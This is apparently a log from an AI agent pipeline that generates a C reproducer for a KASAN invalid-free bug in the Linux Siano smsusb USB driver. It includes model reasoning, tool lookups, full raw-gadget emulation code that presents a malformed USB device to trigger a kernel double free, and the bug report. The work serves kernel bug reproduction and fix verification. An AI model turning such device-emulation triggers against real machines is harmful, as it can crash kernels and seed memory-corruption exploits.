     - Providing a Bulk IN endpoint with `wMaxPacketSize < 8` (`sizeof(struct sms_msg_hdr)`). The driver calculates `align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr)`; if `align < 0`, `smsusb_init_device` returns `-ENODEV`.
   - **Interface Number Mismatch:**
     - Presenting an interface with `bInterfaceNumber` that does not match the expected board interface number `sms_get_board(...)->intf_num` (typically `0`), returning `-ENODEV`.
   - **Dual-Interface ROM Configuration:**
     - Setting `bNumInterfaces == 2` in the configuration descriptor and binding on interface 0 (which returns `-ENODEV`).
   - **Failing `SET_INTERFACE`:**
     - Presenting `num_altsetting > 1` and stalling or failing the `SET_INTERFACE` USB standard control request.
   - **Communication / Device Start Failure:**
     - Failing, stalling, or timing out on bulk transfers (e.g., transfers on Bulk OUT endpoint 2 used by `smsusb_sendrequest` / `smsusb1_load_firmware` or during `smscore_start_device` mode detection).]

183/5 2026/09/04 10:33 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30260
							output: 44
							thoughts: 422
						

Thoughts:
**My Thought Process on Raw Gadget Initialization**

Alright, so the core question here is about initializing the `raw-gadget` for USB functionality. My initial thought, and what the expert confirms, is that the standard `raw-gadget` initialization procedures should indeed be sufficient. I'm confident I can proceed with writing the C code to implement this.

However, as I always do, I need to be absolutely meticulous about the details. The crucial part here is ensuring that the `USB_RAW_IOCTL_INIT` ioctl call is handled correctly. This isn't something to gloss over.

I recall looking at syzkaller's `raw-gadget` template, and the typical pattern for `usb_raw_init` involves setting up the `driver_name` and `device_name` strings, along with the `speed`. Specifically, I remember seeing something like this:

```c
	struct usb_raw_init init;
	init.driver_name[0] = 'd';
	init.driver_name[1] = 'u';
	init.driver_name[2] = 'm';
	init.driver_name[3] = 'm';
	init.driver_name[4] = 'y';
	init.driver_name[5] = '_';
	init.driver_name[6] = 'u';
	init.driver_name[7] = 'd';
	init.driver_name[8] = 'c';
	init.driver_name[9] = '\0';
	init.device_name[0] = 'd';
	init.device_name[1] = 'u';
	init.device_name[2] = 'm';
	init.device_name[3] = 'm';
	init.device_name[4] = 'y';
	init.device_name[5] = '_';
	init.device_name[6] = 'u';
	init.device_name[7] = 'd';
	init.device_name[8] = 'c';
	init.device_name[9] = '.';
	init.device_name[10] = '0';
	init.device_name[11] = '\0';
	init.speed = 3; // USB_SPEED_HIGH
```

This gives me a concrete example to work from. But before I blindly copy this, I *must* verify the exact definition of the `usb_raw_init` struct itself. That's the ultimate source of truth to ensure I'm populating it correctly and using the right fields and types. It's this kind of thoroughness that prevents subtle bugs down the line.


184/5 2026/09/04 10:33 tool codesearch-definition-source
0m Args:
map[ContextFile:include/uapi/linux/usb/raw_gadget.h Name:usb_raw_init]

Results:
map[SourceCode:  18:	/*
  19:	 * struct usb_raw_init - argument for USB_RAW_IOCTL_INIT ioctl.
  20:	 * @speed: The speed of the emulated USB device, takes the same values as
  21:	 *     the usb_device_speed enum: USB_SPEED_FULL, USB_SPEED_HIGH, etc.
  22:	 * @driver_name: The name of the UDC driver.
  23:	 * @device_name: The name of a UDC instance.
  24:	 *
  25:	 * The last two fields identify a UDC the gadget driver should bind to.
  26:	 * For example, Dummy UDC has "dummy_udc" as its driver_name and "dummy_udc.N"
  27:	 * as its device_name, where N in the index of the Dummy UDC instance.
  28:	 * At the same time the dwc2 driver that is used on Raspberry Pi Zero, has
  29:	 * "20980000.usb" as both driver_name and device_name.
  30:	 */
  31:	struct usb_raw_init {
  32:		__u8	driver_name[UDC_NAME_LENGTH_MAX];
  33:		__u8	device_name[UDC_NAME_LENGTH_MAX];
  34:		__u8	speed;
  35:	};
 SourceFile:include/uapi/linux/usb/raw_gadget.h]

185/5 2026/09/04 10:33 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 31099
							output: 2538
							thoughts: 2909
						

Thoughts:
**My Thought Process**

Okay, so I'm looking at this C code, and my primary goal is to understand and potentially debug it, especially in the context of interacting with USB raw gadget interfaces.

First, I'm examining the `usb_raw_init` function. It's responsible for setting up the connection to the `/dev/raw-gadget` device. The `open` call seems straightforward enough, as is the initial error handling with `perror` and `exit`. Then, I see the setup for a `struct usb_raw_init`. The initialization of `driver_name` and `device_name` seems standard for identifying the UDC (USB Device Controller). A key detail here is the `speed = 3`, which I know corresponds to `USB_SPEED_HIGH`. I'm making a mental note about `UDC_NAME_LENGTH_MAX`; if it's not defined by default, I'd need to ensure it's available, likely through `<linux/usb/raw_gadget.h>`. The `ioctl` call for `USB_RAW_IOCTL_INIT` is the core of this initialization, and again, the error handling is crucial.

Next, I dive into `handle_ep0`. This is where the main event loop for EP0 (the control endpoint) resides. The `ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event)` is the mechanism for receiving USB events. The loop continues until an error occurs.

I'm paying close attention to the event handling:
*   **`USB_RAW_EVENT_CONNECT`**: Simple enough, just prints "Connected".
*   **`USB_RAW_EVENT_CONTROL`**: This is the meat of EP0 handling. It casts the event data to `struct usb_ctrlrequest`. I'm checking the `bRequestType` and `bRequest` fields to determine the USB request.
    *   For `USB_REQ_GET_DESCRIPTOR`, I see it's trying to return different descriptors based on `ctrl->wValue >> 8`.
        *   For the device descriptor (`USB_DT_DEVICE`), it correctly sets `io.data` and `io.length`.
        *   For the configuration descriptor (`USB_DT_CONFIG`), it's copying several other descriptors (`conf_desc`, `intf_desc`, `ep1_desc`, `ep2_desc`) into a local buffer `buf[256]`. **Here's a critical point:** I notice that `io.data` is set to point to `buf`, and then `ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io)` is called *outside* the `switch` statement. If `buf` were declared *inside* the `if (ctrl->wValue >> 8 == USB_DT_CONFIG)` block, it would go out of scope before the `ioctl` could possibly use it. This is a potential bug! My immediate thought is to move the `buf` declaration to the start of `handle_ep0` or make it `static` to ensure its lifetime is sufficient.
        *   For the string descriptor (`USB_DT_STRING`), it uses a small `str_desc` array. The same scope concern might apply here if `buf` isn't handled correctly.
    *   For `USB_REQ_SET_CONFIGURATION`, it calls `usb_raw_ep_enable` for endpoints 1 and 2, and `usb_raw_vbus_draw`.

After handling the control request details, the code checks `ctrl->bRequestType & USB_DIR_IN` to decide whether to write (`USB_RAW_IOCTL_EP0_WRITE`) or read (`USB_RAW_IOCTL_EP0_READ`) from EP0.

**Self-Correction and Refinement:**

*   **Buffer Scope Issue:** As identified above, the `buf[256]` declaration for assembling the configuration descriptor is problematic if placed within the `if` block. The fix is to declare `buf` at the beginning of `handle_ep0`. This ensures that the buffer remains valid for the `USB_RAW_IOCTL_EP0_WRITE` call that follows the `switch` statement. The corrected code snippet reflects this.
*   **Endianness:** I'm considering the `htole16` call for `wMaxPacketSize`. While common on Linux, it's a glibc extension. For maximum portability, I might consider a custom macro like `CPU_TO_LE16(x)`. However, since the target environment is likely Linux (given the syzkaller context and `x86_64`), `<endian.h>` should provide `htole16`, making it acceptable. I'll stick with `htole16` for now but keep portability in mind.

**Deep Dive into the Endpoint Descriptor and Potential Bug:**

Now, I'm scrutinizing the endpoint descriptors themselves, specifically `ep1_desc` and `ep2_desc`.
*   `ep1_desc`: `bEndpointAddress = 0x81` (IN endpoint), and critically, `bmAttributes = USB_ENDPOINT_XFER_INT` (Interrupt transfer type).
*   `ep2_desc`: `bEndpointAddress = 0x02` (OUT endpoint), `bmAttributes = USB_ENDPOINT_XFER_BULK` (Bulk transfer type).

This immediately triggers a red flag. I'm thinking about how these endpoints are used later. The `smsusb_init_device` function, which is not shown here but I infer its behavior, likely checks the endpoint types. Then, in `smsusb_submit_urb`, there's a call using `usb_rcvbulkpipe(dev->udev, dev->in_ep)`.

The problem is clear: `dev->in_ep` is set to `0x81`, which is configured as an *Interrupt* endpoint in `ep1_desc`. However, `usb_rcvbulkpipe` creates a *Bulk* pipe. When `usb_submit_urb` is called, it will perform a type check between the pipe type and the endpoint type. Since `PIPE_BULK` (from `usb_rcvbulkpipe`) does not match `USB_ENDPOINT_XFER_INT` (from `ep1_desc`), `usb_submit_urb` will fail with `-EINVAL`. This mismatch is the root cause of the observed bug. It's a very precise and deterministic reproducer, which is excellent for debugging.

So, the sequence of events leading to the bug is:
1.  `usb_raw_init` sets up the raw gadget.
2.  `handle_ep0` receives `USB_REQ_SET_CONFIGURATION`.
3.  `usb_raw_ep_enable(1, &ep1_desc)` is called, configuring EP1 as an interrupt IN endpoint.
4.  Later, `smsusb_submit_urb` attempts to use EP1 as a bulk IN endpoint by calling `usb_rcvbulkpipe`.
5.  The type mismatch (`INT` vs. `BULK`) causes `usb_submit_urb` to fail.

This analysis is very satisfying because it pinpoints the exact cause and suggests the necessary correction: the endpoint type for `ep1_desc` needs to be changed to `USB_ENDPOINT_XFER_BULK` if it's intended to be used for bulk transfers.

Finally, I'm organizing these thoughts into a structured summary for the user.


186/3 2026/09/04 10:34 action merge-strategy
0m Results:
map[CurrentReproStrategy:An excellent root cause analysis! The bug is indeed a KASAN invalid-free caused by the `smsusb` driver incorrectly setting the `URB_FREE_BUFFER` flag on a buffer that is managed by `smscore` (the `common_buffer`). When `usb_submit_urb()` fails during probe, the error path frees the `common_buffer` and then calls `usb_free_urb()`, which attempts to `kfree()` the already-freed buffer chunk again.

To trigger this reliably, we can emulate a USB device that matches the `smsusb` driver but provides an **Interrupt IN** endpoint instead of the expected **Bulk IN** endpoint. The driver will attempt to submit a Bulk URB to this Interrupt endpoint, causing `usb_submit_urb()` to reject it with `-EINVAL` and immediately triggering the buggy cleanup path.

Here is the complete C reproducer using `raw-gadget`.

```c
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		perror("open /dev/raw-gadget");
		exit(1);
	}

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	strcpy((char *)init.driver_name, "dummy_udc");
	strcpy((char *)init.device_name, "dummy_udc.0");
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		perror("ioctl USB_RAW_IOCTL_INIT");
		exit(1);
	}
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		perror("ioctl USB_RAW_IOCTL_RUN");
		exit(1);
	}
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		perror("ioctl USB_RAW_IOCTL_EP_ENABLE");
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		perror("ioctl USB_RAW_IOCTL_VBUS_DRAW");
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void handle_ep0(void)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			perror("ioctl USB_RAW_IOCTL_EVENT_FETCH");
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					perror("ioctl USB_RAW_IOCTL_EP0_WRITE");
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					perror("ioctl USB_RAW_IOCTL_EP0_READ");
				}
			}
		}
	}
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	handle_ep0();
	return 0;
}
```]

187/3 2026/09/04 10:34 agent repro-generator
0m Model:
deep-reasoning

Results:
map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}
]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: invalid-free in usb_free_urb

==================================================================
BUG: KASAN: invalid-free in urb_destroy drivers/usb/core/urb.c:25 [inline]
BUG: KASAN: invalid-free in kref_put include/linux/kref.h:65 [inline]
BUG: KASAN: invalid-free in usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
Free of addr ffff888058ab1000 by task kworker/1:1/48

CPU: 1 UID: 0 PID: 48 Comm: kworker/1:1 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Workqueue: usb_hub_wq hub_event
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report_invalid_free+0xea/0x110 mm/kasan/report.c:557
 check_slab_allocation mm/kasan/common.c:-1 [inline]
 __kasan_slab_pre_free+0x104/0x120 mm/kasan/common.c:261
 kasan_slab_pre_free include/linux/kasan.h:199 [inline]
 slab_free_hook mm/slub.c:2693 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x173/0x650 mm/slub.c:6792
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
